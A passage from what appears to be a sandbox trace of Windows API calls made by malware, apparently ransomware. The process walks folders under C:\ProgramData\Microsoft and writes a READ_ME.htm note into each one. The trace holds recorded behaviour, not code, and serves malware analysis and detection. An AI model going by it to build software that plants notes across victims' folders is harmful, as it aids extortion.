nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 0 [0139.471] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.471] SetErrorMode (uMode=0x0) returned 0x1 [0139.472] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search\\Data", lpFilePart=0x0) returned 0x24 [0139.472] SetErrorMode (uMode=0x1) returned 0x0 [0139.472] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\*" (normalized: "c:\\programdata\\microsoft\\search\\data\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7857c6f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x785eeb10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x785eeb10, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.474] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7857c6f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x785eeb10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x785eeb10, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.474] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x785eeb10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x785eeb10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x785eeb10, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Applications", cAlternateFileName="APPLIC~1")) returned 1 [0139.474] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x785a2850, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x785a2850, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x785a2850, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0139.474] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x785a2850, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x785a2850, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x785a2850, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0 [0139.474] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.474] SetErrorMode (uMode=0x0) returned 0x1 [0139.474] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search\\Data", lpFilePart=0x0) returned 0x24 [0139.474] SetErrorMode (uMode=0x1) returned 0x0 [0139.475] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\*" (normalized: "c:\\programdata\\microsoft\\search\\data\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7857c6f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x785eeb10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x785eeb10, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.475] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7857c6f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x785eeb10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x785eeb10, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.475] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x785eeb10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x785eeb10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x785eeb10, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Applications", cAlternateFileName="APPLIC~1")) returned 1 [0139.475] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x785a2850, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x785a2850, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x785a2850, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0139.475] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x785a2850, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x785a2850, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x785a2850, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0 [0139.475] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.475] SetErrorMode (uMode=0x0) returned 0x1 [0139.476] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications", lpFilePart=0x0) returned 0x31 [0139.476] SetErrorMode (uMode=0x1) returned 0x0 [0139.476] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\*" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x785eeb10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x785eeb10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x785eeb10, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.476] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x785eeb10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x785eeb10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x785eeb10, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.476] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x785eeb10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7a363b50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7a363b50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0139.477] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x785eeb10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7a363b50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7a363b50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0139.477] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.477] SetErrorMode (uMode=0x0) returned 0x1 [0139.477] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications", lpFilePart=0x0) returned 0x31 [0139.477] SetErrorMode (uMode=0x1) returned 0x0 [0139.477] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\*" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x785eeb10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x785eeb10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x785eeb10, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.477] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x785eeb10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x785eeb10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x785eeb10, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.478] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x785eeb10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7a363b50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7a363b50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0139.478] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x785eeb10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7a363b50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7a363b50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0139.478] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.478] SetErrorMode (uMode=0x0) returned 0x1 [0139.478] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\READ_ME.htm", lpFilePart=0x0) returned 0x3d [0139.478] SetErrorMode (uMode=0x1) returned 0x0 [0139.478] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.479] SetErrorMode (uMode=0x0) returned 0x1 [0139.479] GetFileType (hFile=0x1d0) returned 0x1 [0139.480] WriteFile (in: hFile=0x1d0, lpBuffer=0x28b46a0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x28b46a0*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0139.481] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp", lpFilePart=0x0) returned 0x29 [0139.481] SetErrorMode (uMode=0x1) returned 0x0 [0139.481] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\*" (normalized: "c:\\programdata\\microsoft\\search\\data\\temp\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x785a2850, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x785a2850, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x909ce1a0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.482] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x785a2850, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x785a2850, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x909ce1a0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.482] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x785a2850, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x785a2850, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x909ce1a0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0139.483] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.483] SetErrorMode (uMode=0x0) returned 0x1 [0139.483] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp", lpFilePart=0x0) returned 0x29 [0139.483] SetErrorMode (uMode=0x1) returned 0x0 [0139.483] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\*" (normalized: "c:\\programdata\\microsoft\\search\\data\\temp\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x785a2850, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x785a2850, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x909ce1a0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.483] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x785a2850, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x785a2850, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x909ce1a0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.484] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x785a2850, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x785a2850, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x909ce1a0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0139.484] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.484] SetErrorMode (uMode=0x0) returned 0x1 [0139.484] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\READ_ME.htm", lpFilePart=0x0) returned 0x35 [0139.484] SetErrorMode (uMode=0x1) returned 0x0 [0139.484] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\search\\data\\temp\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.485] SetErrorMode (uMode=0x0) returned 0x1 [0139.485] GetFileType (hFile=0x1d0) returned 0x1 [0139.485] WriteFile (in: hFile=0x1d0, lpBuffer=0x28ba288*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x28ba288*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0139.486] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search\\Data\\READ_ME.htm", lpFilePart=0x0) returned 0x30 [0139.486] SetErrorMode (uMode=0x1) returned 0x0 [0139.486] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\search\\data\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.487] SetErrorMode (uMode=0x0) returned 0x1 [0139.487] GetFileType (hFile=0x1d0) returned 0x1 [0139.487] WriteFile (in: hFile=0x1d0, lpBuffer=0x28be818*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x28be818*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0139.489] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search\\READ_ME.htm", lpFilePart=0x0) returned 0x2b [0139.489] SetErrorMode (uMode=0x1) returned 0x0 [0139.489] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\search\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.489] SetErrorMode (uMode=0x0) returned 0x1 [0139.489] GetFileType (hFile=0x1d0) returned 0x1 [0139.490] WriteFile (in: hFile=0x1d0, lpBuffer=0x28c2d88*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x28c2d88*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0139.491] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures", lpFilePart=0x0) returned 0x2e [0139.491] SetErrorMode (uMode=0x1) returned 0x0 [0139.491] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\*" (normalized: "c:\\programdata\\microsoft\\user account pictures\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7a090130, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7a090130, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.491] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7a090130, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7a090130, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.492] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80366a76, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80366a76, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default Pictures", cAlternateFileName="DEFAUL~1")) returned 1 [0139.492] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="guest.bmp", cAlternateFileName="")) returned 1 [0139.492] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7a090130, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7a090130, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7a090130, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kEecfMwgj.dat", cAlternateFileName="KEECFM~1.DAT")) returned 1 [0139.492] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.bmp", cAlternateFileName="")) returned 1 [0139.492] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.bmp", cAlternateFileName="")) returned 0 [0139.492] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.492] SetErrorMode (uMode=0x0) returned 0x1 [0139.492] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures", lpFilePart=0x0) returned 0x2e [0139.493] SetErrorMode (uMode=0x1) returned 0x0 [0139.493] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\*" (normalized: "c:\\programdata\\microsoft\\user account pictures\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7a090130, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7a090130, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.493] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7a090130, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7a090130, ftLastWriteTime.dwHighDateTime=0x1d70509, 